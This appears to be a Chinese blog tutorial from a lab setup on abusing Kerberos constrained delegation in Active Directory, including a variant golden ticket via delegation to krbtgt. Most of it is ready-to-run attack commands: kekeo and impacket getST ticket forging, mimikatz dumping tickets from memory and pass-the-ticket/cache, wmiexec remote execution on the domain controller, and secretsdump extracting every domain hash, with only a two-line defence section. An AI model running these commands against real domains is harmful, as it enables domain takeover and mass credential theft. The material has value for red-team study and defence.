約束委派+利用約束委派生成黃金票據

環境

域: test.com
域控:Windows server 2012R2, 主機名: AD, IP: 192.168.1.7
域內主機:系統:windows 2012R2,主機名:HyyMbb,ip:192.168.1.22
被委派用戶test
測試用戶test1

在這裏插入圖片描述

操作步驟

我們需要提前知道的信息
被委派用戶的明文密碼或者ntml

密碼:123!@#qwe
ntml:e5ae562ddfaa6b446c32764ab1ebf3ed

1、已經知道服務用戶明文的條件下,我們可以用kekeo請求該用戶的TGT

tgt::ask /user:test /domain:test.com /password:123!@#qwe /ticket:test.kirbi

我們知道NTML也可以生成TGT

tgt::ask /user:test /domain:test.com /NTLM:e5ae562ddfaa6b446c32764ab1ebf3ed

參數:

/user: 服務用戶的用戶名(即設置的被委派的用戶)

/password: 服務用戶的明文密碼

/domain: 所在域名

/ticket: 指定票據名稱,不過這個參數沒有生效,可以忽略

在這裏插入圖片描述得到服務用戶TGT:[email protected][email protected]


2、然後我們可以使用這張TGT通過僞造s4u請求以administrator用戶身份請求訪問AD(域控) CIFS的ST

tgs::s4u /tgt:TGT_test@TEST.COM_krbtgt~test.com@TEST.COM.kirbi /user:Administrator@test.com /service:cifs/AD.test.com

在這裏插入圖片描述

S4U2Self獲取到的ST1以及S4U2Proxy獲取到的dm08 CIFS服務的ST2會保存在當前目錄下


3、然後我們用mimikatz(kekeo也可以)將ST2導入當前會話即可

kerberos::ptt TGS_Administrator@test.com@TEST.COM_cifs~AD.test.com@TEST.COM.kirbi

成功訪問到ADcifs服務

在這裏插入圖片描述

注:

如果我們不知道服務用戶的明文和NTLM Hash,但是我們有了服務用戶登陸的主機權限(需要本地管理員權限),我們可以用mimikatz直接從內存中把服務用戶的TGT dump出來

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

在這裏插入圖片描述這樣我們就能跳過第一步,直接進行二三步驟就可以了~~



利用約束委派打造變種黃金票據


環境

域: HYYMBB.com
域控:Windows server 2008R2, 主機名: AD, IP: 192.168.1.23
域內主機:系統:windows 2012R2,主機名:win2012,ip:192.168.1.22
被委派用戶test
測試用戶test1

這個實驗我復現的時候在win2012的域控上未成功,據說是2012 及以後的KDC,受限委派的時候用的機制變成了 Resource Based Constrained Delegation

所以這個只能適用於win2008版本之前的(包括win2008)

我們都知道TGT的生成是由krbtgt用戶加密和簽名的,如果我們能委派域上的用戶去訪問TGS,那麼就可以僞造任意用戶的TGT了,黃金票據通常情況下我們是用krbtgthash來僞造TGT,不過我們通過約束委派也能達到同樣的效果。

krbtgt默認是禁用的而且無法啓用,所以我們無法使用界面來添加這個SPN

我們可以使用powershell來添加

Import-Module ActiveDirectory
$user = Get-ADUser test
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/HYYMBB.com") }

在這裏插入圖片描述
這兒多說一句,有的同學發現一些用戶屬性沒有委派的選項,那是因爲這時的用戶還不是服務賬號,我們可以用系統的自帶工具setspn來綁定spn

setspn -A test/test 用戶名

更詳細的用法請自行百度


注:域控默認安裝ActiveDirectory,如果沒有安裝,可以下載dll:下載地址,然後導入就行了:import-module .\Microsoft.ActiveDirectory.Management.dll

我們獲得的test用戶的信息

密碼:123!@#qwe
NTML:e5ae562ddfaa6b446c32764ab1ebf3ed

1、我們可以用impacket系列的getST向KDC請求administrator的TGT
getst.exe -dc-ip 192.168.1.23 -spn krbtgt/HYYMBB.com -impersonate Administrator HYYMBB.com/test:123!@#qwe

在這裏插入圖片描述參數:

-impersonate:表示僞造用戶

-spn:表示我們要委派的服務的spn,這裏是TGS

-dc-ip:域控ip

執行之後會在當前目錄生成一個緩存文件Administrator.ccache


2、注入ptc(pass the cache)

kerberos::ptc Administrator.ccache

在這裏插入圖片描述
在當前終端退出後就可以訪問域控了

在這裏插入圖片描述

3、執行命令

執行命令的話我們可以用impacket系列或者powershell都可以
這兒我們使用impacket中的wmiexec.exe

set KRB5CCNAME=Administrator.ccache

wmiexec.exe -no-pass -k administrator@AD.HYYMBB.com -dc-ip 192.168.1.23

在這裏插入圖片描述
導出域控上所有用戶以及主機的hash

set KRB5CCNAME=Administrator.ccache

secretsdump.exe -no-pass -k AD.HYYMBB.com

防禦


1、高權限用戶沒有在特殊要求之下設置爲不可委派

在這裏插入圖片描述

爲了防止憑據被盜微軟推出了Protected Users組,適用於Windows Server 2016Windows Server 2012 R2Windows Server 2012

在這裏插入圖片描述

參考鏈接

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章